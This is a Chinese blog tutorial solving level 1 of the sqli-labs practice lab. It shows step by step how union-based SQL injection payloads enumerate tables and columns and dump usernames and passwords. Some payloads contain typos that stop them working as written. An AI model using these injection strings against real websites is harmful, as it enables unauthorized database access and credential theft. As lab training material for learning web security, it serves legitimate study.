sqli-labs第一关

访问出来的样子。

手工注入?id=1 and 1=1和?id=1 and 1=2都没报错。

之后就是?id=1',这是判断它是否是字符型注入,报错即是。 

拼接字符?id=1' and '1'='1,形成一个符合select的查询语句select * from security where id='&id'。

有回显,就用order by判断有几个回显字段:

?id=1' and '1'='1' order by 1--+ 回显正常

?id=1' and '1'='1' order by 2--+ 回显正常

 ?id=1' and '1'='1' order by 3--+回显正常

?id=1' and '1'='1' order by 4--+错误回显

说明有三个字段 。

判断是否有具体的回显位置:?id=-1' union select 1,2,3--+(将id中的值置为-1是为了让前面的sql语句失效)。

显示出2,3是具体的回显位置。

利用union查询语句,查看数据库名、版本等信息。

database(): 查看使用的数据库名

version():查看数据库版本

user():查看数据库用户

@@version_compile_os:操作系统

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所以列名信息的表

table_name:表名

column_name:列名

table_schema:所使用的数据库名

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

爆出表名的语句:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

用上面的语句会报这个错的有可能是information_schema数据库编码utf8_general_ci与靶场的user表编码utf8_unicode_ci不同,实战中可以用十六进制去接收,靶场可以去数据库里改。

利用十六进制接收:?id=-1' union select 1,2,group_concat(hex(table_name)) from information_schema.tables where table_schema=database()--+

之后用加解码工具解码即可(supersoft)。

第一个656D61696C73解密:emails

第二个7265666572657273解密:referers

第三个756167656E7473解密:uagents 

第四个7573657273解密:users

 对比这个几个表,users表的信息可能更加有用。

继续拼接语句获得users表的信息:?id=-1' union select 1,2,group_concat(hex(colmun_name)) from information_schema.colmuns where table_name='users'--+

有几个字段没有截完,全部字段分别是:

55534552:USER,

43555252454E545F434F4E4E454354494F4E53:CURRENT_CONNECTIONS,

544F54414C5F434F4E4E454354494F4E53:TOTAL_CONNECTIONS,

6964:id,

757365726E616D65:username,

70617373776F7264:password.

到这儿已经爆出了username和password;再就是查询表的信息。

语句是:?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from user--+,加0x5c是为了区别出username和password,0x5c是反斜杠。

到D:phpstudy_proExtensionsMySQL5.7.26bin这个路径查看信息,对比一下自己是否正确。

查看表的名字:show tables;

 查看具体表的结构:desc users;

查看表内的具体信息:select * from users;

 

此时已经出现用户名和密码的信息,到这也就结束了。 

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>